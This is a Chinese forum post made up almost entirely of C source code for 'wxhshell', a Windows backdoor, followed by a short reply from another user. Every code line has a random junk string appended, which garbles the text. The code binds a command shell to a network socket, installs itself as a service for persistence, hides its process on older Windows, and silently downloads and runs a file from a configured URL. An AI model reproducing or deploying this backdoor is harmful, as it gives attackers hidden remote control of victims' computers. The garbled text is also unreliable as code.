  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /%;mqrdk  
  if(DownloadFile(cmd,wsh)) hX=A)73(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d&+h}O  
  else cj1cZ-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ekWePL;rR2  
  } y$_eCmq  
  else { IWY;="  
=Xqc]5[i  
    switch(cmd[0]) { IyWI5Q"t  
  * iF]n2g:  
  // 帮助 !y@6Mm  
  case '?': { CW,Wx:Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DKBSFm{~Q  
    break; <=>=.kmGt  
  } L:i-BI`J  
  // 安装 (EI;"N (x  
  case 'i': { c1E'$- K@  
    if(Install()) 6x%h6<#xh*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |v({-*7  
    else /!3@]xz*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PEW=@xj2y  
    break; 'LE =6{#  
    } }n4V|f-  
  // 卸载 #~<0t(3Q  
  case 'r': { (aH'h1,G  
    if(Uninstall()) 9R7 A8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z}MP)|aH:  
    else /,g,Ch<d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r(RKwr:m  
    break; ,f[>L|?e  
    } @ < Q|5  
  // 显示 wxhshell 所在路径 y9>ZwYN  
  case 'p': { ~2gG(1%At9  
    char svExeFile[MAX_PATH]; %3ICI  
    strcpy(svExeFile,"\n\r"); 1f":HnLRM  
      strcat(svExeFile,ExeFile); 3ZXQoC '  
        send(wsh,svExeFile,strlen(svExeFile),0); hMykf4  
    break; v#U"pn|M  
    } 7G/1VeVjB  
  // 重启 u[DfzH  
  case 'b': { N-e @j4WU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [< &oF  
    if(Boot(REBOOT)) a 0GpfW$t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); osX8eX]\  
    else { RsY3V=u  
    closesocket(wsh); 'qOREN  
    ExitThread(0); }x07^4$j  
    } ! q M=a3  
    break; yFtd=AI'E  
    } %nV]ibp2)  
  // 关机 -UOj>{-  
  case 'd': { d~JKH&x<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i;_tI#:A  
    if(Boot(SHUTDOWN)) MM x9(`t*.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PqiB\~o@Z  
    else { T^Ze3L]  
    closesocket(wsh); 9Ru8~R/\  
    ExitThread(0); B4i!/@0s  
    } -T[lx\}  
    break; [YUv7|\  
    } J /f  
  // 获取shell JNJ=e,O,  
  case 's': { e-"nB]n^/  
    CmdShell(wsh); H?)w!QX  
    closesocket(wsh); Na?!;1]_  
    ExitThread(0); RM!<8fXYD  
    break; |4uWh  
  } )C(? bR  
  // 退出 &I (#Wy3  
  case 'x': { hNH'XQxO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rjp-Fw~1w  
    CloseIt(wsh); 3tZ]4ms}  
    break; 98uV6b~g  
    } 2gCX}4^3b  
  // 离开 er!DYv  
  case 'q': { :[hgxJu+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |~X ;1j!  
    closesocket(wsh); L;'"A#Pa  
    WSACleanup(); ]y1OFKYv  
    exit(1); Vp3ZwS  
    break; oaoU _V  
        } / ;,Md,p  
  } _YLfL  
  } lna}@]oR  
enSXP~9w  
  // 提示信息 g!+| I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + EGD.S{  
} #py[  
  } |ayVjqJ*  
}l],.J\BGX  
  return; &iA?+kV  
} +KvU$9Ad>  
RHO(?8"_  
// shell模块句柄 2E)wpgUc?e  
int CmdShell(SOCKET sock) dVi!Q@y+  
{ /qy-qUh3h  
STARTUPINFO si; pJt,9e6  
ZeroMemory(&si,sizeof(si)); JSTuXW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O"c;|zCc>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y6[IfcN  
PROCESS_INFORMATION ProcessInfo; |>tKq;/  
char cmdline[]="cmd"; YYu6W@m]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZRg;/sX]  
  return 0; SVB\  
} ~,5gUl?Il  
5[YDZ7g"~  
// 自身启动模式 fM^qQM[lG  
int StartFromService(void) PSZL2iGj9V  
{ d [V;&U  
typedef struct o8-^cP1  
{ LS88.w\=S@  
  DWORD ExitStatus; Zy(W^~NT  
  DWORD PebBaseAddress; fv9V7  
  DWORD AffinityMask; Te}8!_ohyC  
  DWORD BasePriority; fDvl/|62{  
  ULONG UniqueProcessId; Db1pW=66:  
  ULONG InheritedFromUniqueProcessId; -< &D  
}   PROCESS_BASIC_INFORMATION; L&%s[  
!VI]oRgP  
PROCNTQSIP NtQueryInformationProcess; D IzH`|Y  
b+&% 1C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |qmu _x\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gm[z[~X@  
WzF !6n!h  
  HANDLE             hProcess; h9Y%{v  
  PROCESS_BASIC_INFORMATION pbi; C@L$~iG  
,~OwLWi-|X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kT'u1q$3Vo  
  if(NULL == hInst ) return 0; elFtBnL'  
*/|9= $54  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I| b2acW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Qy@UfB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !=:$lzS^  
/x[jQM\  
  if (!NtQueryInformationProcess) return 0; 7|[mz> "d  
vDxe/x%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B9H@e#[  
  if(!hProcess) return 0; bj"J'  
:kf`?u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `R=HKtr?  
|]ZYa.+:  
  CloseHandle(hProcess); Vy938qX   
<-D0u?8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w$`5g  
if(hProcess==NULL) return 0; e^[H[d.WMC  
}t%!9hr5D  
HMODULE hMod; /S(zff[at  
char procName[255]; vbD{N3p)?n  
unsigned long cbNeeded; YGPy@-,E  
5wh|=**/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (C@~3!AVa  
,]cD  
  CloseHandle(hProcess); Hqn#yInA7~  
\,7}mdQSv  
if(strstr(procName,"services")) return 1; // 以服务启动 Tny%7xSx1  
FZtfh  
  return 0; // 注册表启动 km1~yQ"bH  
} lAJxr8 .  
(3 #Cl 1]f  
// 主模块 4W)B'+ZK8  
int StartWxhshell(LPSTR lpCmdLine) ^n"OL*ipG  
{ Bxfc}vC.  
  SOCKET wsl; %ve:hym*  
BOOL val=TRUE; :9_L6  
  int port=0; m:WyuU<  
  struct sockaddr_in door; , eZ1uBI?  
Qi LEL  
  if(wscfg.ws_autoins) Install(); %d(^d  
.%Ta]!0  
port=atoi(lpCmdLine); X~<("  
*EZHJt9  
if(port<=0) port=wscfg.ws_port; U 9A~9"O  
ZOQTINf  
  WSADATA data; .G)(0z("s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *i- _6s  
43Qtj$F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h0g:@ae%&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $d)ca9  
  door.sin_family = AF_INET; l:<?{)N`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [-;_ZFS{  
  door.sin_port = htons(port); N%"Y  
}`v~I4i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fbL\?S,w  
closesocket(wsl); `^FGwx@  
return 1; bV$)!]V  
} G1"zElug  
0DmMG  
  if(listen(wsl,2) == INVALID_SOCKET) { (h5'9r  
closesocket(wsl); G_k~X"  
return 1; W81E!RyP`  
} OZTPOz.  
  Wxhshell(wsl); x-AZ %)N9  
  WSACleanup(); /~Z?27F6@  
LK, bO|  
return 0; Pp`*]Ib  
bVL9vNK  
} 3plzHz,x  
'C ~ y5j  
// 以NT服务方式启动 L}}y'^(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K!'AkTW+-  
{ C0 /g1;p(  
DWORD   status = 0; Z6_N$Z.A  
  DWORD   specificError = 0xfffffff; G-He" 4& $  
OV%Q3$15  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <X7FMNr[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5K<5kHpvJ{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ni6{pK4Wqm  
  serviceStatus.dwWin32ExitCode     = 0; zSSB>D  
  serviceStatus.dwServiceSpecificExitCode = 0; @*Wh  
  serviceStatus.dwCheckPoint       = 0; `KK>~T_$J  
  serviceStatus.dwWaitHint       = 0; 1Lg-.-V  
E !a|Xp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \yd s5g!:  
  if (hServiceStatusHandle==0) return; yfx7{naKC`  
e|p$d:#!  
status = GetLastError(); USVqB\#  
  if (status!=NO_ERROR) KTn}w:+B\  
{ mN>h5G>a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~d%Pnw|  
    serviceStatus.dwCheckPoint       = 0; FFH_d <q  
    serviceStatus.dwWaitHint       = 0; kIGbG;"_  
    serviceStatus.dwWin32ExitCode     = status; 9P~\Mpk  
    serviceStatus.dwServiceSpecificExitCode = specificError; +H9>A0JF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ajjJ"x A  
    return; pDh{Z g6t  
  } -|Y(V5]  
B:e @0049  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #ceaZn|@m  
  serviceStatus.dwCheckPoint       = 0; O=$~O\}b  
  serviceStatus.dwWaitHint       = 0; n< ud> JIb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~<k,#^"}X  
} <%Ostqj  
i%g#+Gw  
// 处理NT服务事件,比如:启动、停止 L dm?JrU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t: IN,Kl4  
{ MH{GR)ng:9  
switch(fdwControl) 05spovO/'  
{ ;[W"mlM  
case SERVICE_CONTROL_STOP: #ssN027  
  serviceStatus.dwWin32ExitCode = 0; g q}I[N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2A\,-*pc  
  serviceStatus.dwCheckPoint   = 0; W ]Nv33i [  
  serviceStatus.dwWaitHint     = 0; Ci<ATho  
  { }yJ$SR]t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -,+q#F  
  } CWNx4)ZGw  
  return; 8S<@"v  
case SERVICE_CONTROL_PAUSE: |6(ZD^w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B"v.* %"&/  
  break; KGWyJ  
case SERVICE_CONTROL_CONTINUE: {qmdm`V[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L W;heO"  
  break; n#:N;T;\a  
case SERVICE_CONTROL_INTERROGATE: 5e}A@GyC  
  break; [<{Kw=X__2  
}; ec gtUb8K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' /$d0`3B>  
} S3@ |Q\*r  
[ e8x&{L-_  
// 标准应用程序主函数 <TE%Prd}`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T<L^N+<,{N  
{ Pf_S[ sm  
E-{^E.w1  
// 获取操作系统版本 Cxcr/9  
OsIsNt=GetOsVer(); r} P<iX   
GetModuleFileName(NULL,ExeFile,MAX_PATH); c1_5, 1U'  
;]w<&C!=  
  // 从命令行安装 Udc=,yo3Qm  
  if(strpbrk(lpCmdLine,"iI")) Install(); q~5 9F@  
%uoQ9lD'  
  // 下载执行文件 X5khCL Hi  
if(wscfg.ws_downexe) { #."Hh<C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3` #6ACF  
  WinExec(wscfg.ws_filenam,SW_HIDE); (lGaPMEU}  
} N,f4*PQ  
A^RR@D  
if(!OsIsNt) { :UbM !  
// 如果时win9x,隐藏进程并且设置为注册表启动 v 0kqu  
HideProc(); UTSL  
StartWxhshell(lpCmdLine); J8"[6vId~  
} LS5vW|]w  
else Qq@G\eRo  
  if(StartFromService()) ` AkIK*  
  // 以服务方式启动 NO0"*c;  
  StartServiceCtrlDispatcher(DispatchTable); 9XHz-+bQ  
else Mze;k3  
  // 普通方式启动 =;3fq-  
  StartWxhshell(lpCmdLine); HoLv`JA  
Sje wuIi1  
return 0; JIFU;*PR1  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五